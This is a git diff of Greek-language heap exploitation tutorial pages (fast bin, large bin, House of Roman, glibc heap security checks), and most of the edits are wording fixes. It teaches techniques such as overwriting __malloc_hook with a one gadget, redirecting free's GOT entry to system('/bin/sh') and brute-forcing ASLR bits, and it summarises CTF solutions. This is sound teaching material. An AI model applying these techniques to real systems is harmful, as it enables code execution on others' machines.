-Προσθέστε ένα μικρό παράδειγμα κομματιού +Προσθέστε ένα μικρό παράδειγμα ```c #include #include @@ -370,7 +370,7 @@ return 0; ``` Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**. Στη συνέχεια, κατανέμουμε ένα μεγαλύτερο κομμάτι 0x110 που κάνει **το κομμάτι στο unsorted bin να πηγαίνει στο small bin**. -Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στην εντολή `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin: +Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -396,7 +396,7 @@ Fastbins[idx=6, size=0x80] 0x00 Σε αντίθεση με τις μικρές δεξαμενές, οι οποίες διαχειρίζονται κομμάτια σταθερού μεγέθους, κάθε **μεγάλη δεξαμενή διαχειρίζεται μια σειρά από μεγέθη κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να φιλοξενεί **διάφορα μεγέθη** χωρίς να χρειάζεται μια ξεχωριστή δεξαμενή για κάθε μέγεθος. -Σε έναν αλγόριθμο κατανομής μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 byte, ενώ η επόμενη καλύπτει από 576 έως 640 byte. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB. +Σε έναν κατανεμητή μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν προοδευτικά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 bytes, ενώ η επόμενη καλύπτει από 576 έως 640 bytes. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB. Οι μεγάλες δεξαμενές είναι πιο αργές στη λειτουργία τους σε σύγκριση με τις μικρές δεξαμενές, διότι πρέπει να **ταξινομήσουν και να αναζητήσουν μέσα σε μια λίστα με ποικίλα μεγέθη κομματιών για να βρουν την καλύτερη εφαρμογή** για μια κατανομή. Όταν ένα κομμάτι εισάγεται σε μια μεγάλη δεξαμενή, πρέπει να ταξινομηθεί, και όταν η μνήμη κατανεμηθεί, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τις καθιστά **αργές**, αλλά καθώς οι μεγάλες κατανομές είναι λιγότερο συχνές από τις μικρές, είναι μια αποδεκτή ανταλλαγή. @@ -411,7 +411,7 @@ Fastbins[idx=6, size=0x80] 0x00
-Κωδικός μεγάλων δεξαμενών +Κωδικός μεγέθους μεγάλης δεξαμενής ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -468,9 +468,9 @@ chunks[0] = malloc(0x2000); return 0; } ``` -2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο δοχείο) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο δοχείο στο μεγάλο δοχείο). +2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο bin) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο bin στο μεγάλο bin). -Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το δοχείο tcache είναι γεμάτο και ένα κομμάτι είναι στο μεγάλο δοχείο: +Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα chunk είναι στο μεγάλο bin: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -540,7 +540,7 @@ gets(chunk); return 0; } ``` -Μετά την εκτέλεση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισμοι: +Μετά την μεταγλώττιση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισκοι: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) @@ -570,6 +570,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16 Δείτε: + {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} @@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md Δείτε: + {{#ref}} heap-memory-functions/free.md {{#endref}} @@ -586,6 +588,7 @@ heap-memory-functions/free.md Ελέγξτε τους ελέγχους ασφαλείας που εκτελούνται από τις πολύ χρησιμοποιούμενες συναρτήσεις στο heap στο: + {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index 0d10d9e58..d64c2c094 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -10,7 +10,7 @@ bins-and-memory-allocations.md {{#endref}} -Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλες bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**. +Επειδή το fast bin είναι μια απλά συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλα bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα freed fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**. Ως σύνοψη: ```c @@ -118,29 +118,29 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address } ``` > [!CAUTION] -> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md) +> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md). ## Παραδείγματα - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - Είναι δυνατόν να εκχωρηθούν κομμάτια, να απελευθερωθούν, να διαβαστούν τα περιεχόμενά τους και να γεμίσουν (με μια ευπάθεια overflow). -- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`). -- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\ -Τελικά, γράφτηκε ένα **one gadget** εκεί. +- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, να είναι δυνατό να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`). +- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατό να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατό να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατό να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\ +Τέλος, γράφτηκε ένα **one gadget** εκεί. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** -- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατόν να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες +- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά από απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατό να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες. - **Libc info leak**: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να ξαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση. -- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντίθετα θα εκτελέσει `system("/bin/sh")`. +- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντί θα εκτελέσει `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget +- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια πληροφορία libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) -- Μετά από μια διαρροή infoleak καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγραφούν ορισμένοι δείκτες για να γράψουν μια διεύθυνση one gadget στο GOT -- Μπορείτε να βρείτε μια γρήγορη επίθεση Bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin: -- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχράστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται). +- Μετά από μια διαρροή πληροφοριών καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατό να επαναγραφούν ορισμένοι δείκτες για να γράψουν ένα one gadget στη GOT. +- Μπορείτε να βρείτε μια γρήγορη επίθεση bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin: +- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχρώνται οι λίστες ελευθερίας για να διαρρεύσουν διευθύνσεις libc/heap (όταν χρειάζεται). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Μπορούμε μόνο να εκχωρήσουμε κομμάτια μεγέθους μεγαλύτερου από `0x100`. +- Μπορούμε να εκχωρήσουμε μόνο κομμάτια μεγέθους μεγαλύτερου από `0x100`. - Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια αταξινόμητη επίθεση bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits). -- Γρήγορη επίθεση Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`. +- Γρήγορη επίθεση bin για να τροποποιήσουμε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση της GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`. {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 1df83871d..735f0c0a1 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -55,7 +55,7 @@ malloc-and-sysmalloc.md - Μήνυμα σφάλματος: `malloc(): mismatching next->prev_size (unsorted)` - Αν όχι `victim->bck->fd == victim` ή όχι `victim->fd == av (arena)`: - Μήνυμα σφάλματος: `malloc(): unsorted double linked list corrupted` -- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει πάντα να δείχνει στη δομή arena. +- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει να δείχνει πάντα στη δομή arena. - Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση: - Μήνυμα σφάλματος: `malloc(): invalid next->prev_inuse (unsorted)` - Αν `fwd->bk_nextsize->fd_nextsize != fwd`: @@ -65,7 +65,7 @@ malloc-and-sysmalloc.md - **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (κατά δείκτη):** - `bck->fd-> bk != bck`: - Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks` -- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενος μεγαλύτερος):** +- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενη μεγαλύτερη):** - `bck->fd-> bk != bck`: - Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks2` - **Έλεγχοι κατά τη χρήση του Top chunk:** @@ -101,7 +101,7 @@ free.md - **Έλεγχοι κατά την αρχή του `_int_free`:** - Ο δείκτης είναι ευθυγραμμισμένος: - Μήνυμα σφάλματος: `free(): invalid pointer` -- Μέγεθος μεγαλύτερο από `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο: +- Μέγεθος μεγαλύτερο από το `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο: - Μήνυμα σφάλματος: `free(): invalid size` - **Έλεγχοι στο `_int_free` tcache:** - Αν υπάρχουν περισσότερες καταχωρίσεις από το `mp_.tcache_count`: @@ -111,7 +111,7 @@ free.md - Αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στο tcache: - Μήνυμα σφάλματος: `free(): double free detected in tcache 2` - **Έλεγχοι στο `_int_free` γρήγορη λίστα:** -- Αν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε: +- Αν το μέγεθος του κομματιού είναι άκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε: - Μήνυμα σφάλματος: `free(): invalid next size (fast)` - Αν το προστιθέμενο κομμάτι ήταν ήδη το κορυφαίο της γρήγορης λίστας: - Μήνυμα σφάλματος: `double free or corruption (fasttop)` diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index 831a5bef4..7f602d568 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -57,11 +57,11 @@ unsorted: leftover_main Στη συνέχεια, το `main_arena + 0x68` δεν είναι τόσο ενδιαφέρον, οπότε ας το τροποποιήσουμε ώστε ο δείκτης να δείχνει στο **`__malloc_hook`**. -Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** +Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**. (Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes, ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλώς θα καταρρεύσει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει). -Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένα τρίτο alloced για να αποκτήσουμε ένα chunk στο **`__malloc_hook:`** +Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένας τρίτος εκχωρείται για να αποκτήσει ένα chunk στο **`__malloc_hook:`** ```c malloc(0x60); malloc(0x60); @@ -75,7 +75,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60); unsorted-bin-attack.md {{#endref}} -Αλλά βασικά επιτρέπει να γράψουμε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`. +Αλλά βασικά επιτρέπει να γράψετε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`. Για αυτό ξεκινάμε να αποκτούμε ένα chunk και να το τοποθετούμε στο **unsorted bin**: ```c @@ -86,12 +86,12 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` -Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το έχουμε βρει με brute force προηγουμένως). +Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε ότι το `unsorted_bin_ptr->bk` δείχνει στη διεύθυνση του `__malloc_hook` (το έχουμε brute force προηγουμένως). > [!CAUTION] -> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να το ενεργοποιήσουμε πρέπει **να κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.** +> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να το ενεργοποιήσουμε αυτό πρέπει **να κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.** -Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλώς χρειάζεται να κάνουμε: **`malloc(0x80)`** +Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλά πρέπει να κάνουμε: **`malloc(0x80)`** ### Βήμα 3: Ρύθμιση του \_\_malloc_hook σε system @@ -99,9 +99,9 @@ free(unsorted_bin_ptr); Τώρα, εκμεταλλευόμαστε μια μερική υπεργραφή στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για να **δείξουμε σε μια διεύθυνση `one_gadget`**. -Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας πληροφορίας** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας τιμής** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). -Τελικά, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**. +Τέλος, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**. ## Αναφορές diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index 5eba6c913..f2ddc1e07 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -16,19 +16,19 @@ bins-and-memory-allocations.md Σε αυτό το παράδειγμα μπορείτε να βρείτε τις εξής προϋποθέσεις: -- Ένα μεγάλο chunk έχει κατανεμηθεί -- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει κατανεμηθεί -- Πρέπει να είναι μικρότερο ώστε να πάει πρώτο στο bin +- Ένα μεγάλο chunk έχει δεσμευτεί +- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει δεσμευτεί +- Πρέπει να είναι μικρότερο ώστε να μπει πρώτο στο bin - (Ένα chunk για να αποτραπεί η συγχώνευση με το top chunk έχει δημιουργηθεί) -- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό κατανεμηθεί -> Chunk1 πηγαίνει στο large bin +- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό δεσμεύεται -> Chunk1 πηγαίνει στο large bin - Στη συνέχεια, το δεύτερο μεγάλο chunk απελευθερώνεται - Τώρα, η ευπάθεια: Ο επιτιθέμενος μπορεί να τροποποιήσει `chunk1->bk_nextsize` σε `[target-0x20]` -- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 κατανεμηθεί, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2 +- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 δεσμεύεται, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2 > [!TIP] > Υπάρχουν άλλα πιθανά σενάρια, το θέμα είναι να προσθέσουμε στο large bin ένα chunk που 